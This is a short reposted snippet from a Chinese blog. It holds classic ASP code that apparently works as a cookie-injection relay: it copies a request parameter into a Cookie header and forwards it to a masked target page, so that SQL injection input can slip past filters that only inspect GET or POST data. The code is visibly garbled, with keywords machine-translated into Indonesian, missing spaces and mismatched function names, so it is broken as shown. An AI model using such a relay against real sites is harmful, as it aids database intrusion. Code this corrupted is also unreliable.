来源 : 职业欠钱 & ZJ1244 共 用的 PublicBlog
复制代码代码如下:
<%
Str = "xxxid =" & Escape (request ("fk"))
Url = "http://xxx.chinaxxx.com/insection.asp"
response.writePostData (url, str)
FunctionPostData (posturl, postcok)
DIMHTTP
SetHttp = server.CreateObject ("msxml2.serverxmlhttp")
Withhttp
.Open "get", posturl, false
.SetRequestheader "Cookie", Postcok
.Mengirim
PostData = .ResponseBody
Endwith
SetHttp = tidak ada
PostData = BYTES2BTR (PostData)
Fungsi endfungsi
FunctionBytes2BTR (VIN)
Dimstrreturn
DIMI, Kode ini, NextCharcode
strreturn = ""
Fori = 1TolenB (VIN)
Kode ini = ASCB (midb (vin, i, 1))
Ifthischarcode <& H80then
Strreturn = Strreturn & CHR (Kode ini)
Kalau tidak
NextCharCode = ASCB (midb (vin, i+1,1)))
Strreturn = Strreturn & Chr (Clng (ThisCharcode)*& H100+CINT (NextCharCode))
I = i+1
Endif
Berikutnya
BYTES2BSTR = Strreturn
Fungsi endfungsi
%>